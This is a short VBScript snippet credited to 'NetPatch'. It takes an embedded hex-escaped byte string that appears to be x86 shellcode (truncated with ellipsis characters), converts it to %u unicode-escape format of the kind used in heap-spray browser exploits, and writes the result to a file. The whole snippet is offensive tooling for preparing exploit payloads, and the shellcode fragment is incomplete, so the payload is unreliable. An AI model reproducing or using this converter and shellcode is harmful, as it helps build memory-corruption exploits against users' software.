'code by NetPatch
code="/x29/xc9/x83/xe9/xa1/xd9/xee/xd9/x74/x24/xf4/x5b/x81/x73/x13/x92/x06/x5b/x18/x83/xeb/xfc/xe2/xf4/x79/x16/x01/x52/xa1/xcf/x3d/xa1/xae/x07/xdb/x2c/x98/x9f/xb9/xe2/x79/x03/xb3/xf3/x6d/xf9/xa4/x68/xde/x9f/xc2/x81/x51/xfb/x63/xb1/x0b/x9f/xc2/x0a/x4b/x93/x49/xf1/x17/x32/x49/xc1/x03/x14/x1a/x0a/x78/xa3/…………………………"
function replaceregex(str)
set regex=new regExp
regex.pattern="//x(..)//x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",8,true)
fileS.writeline replaceregex(code)
files.close
set fso=nothing
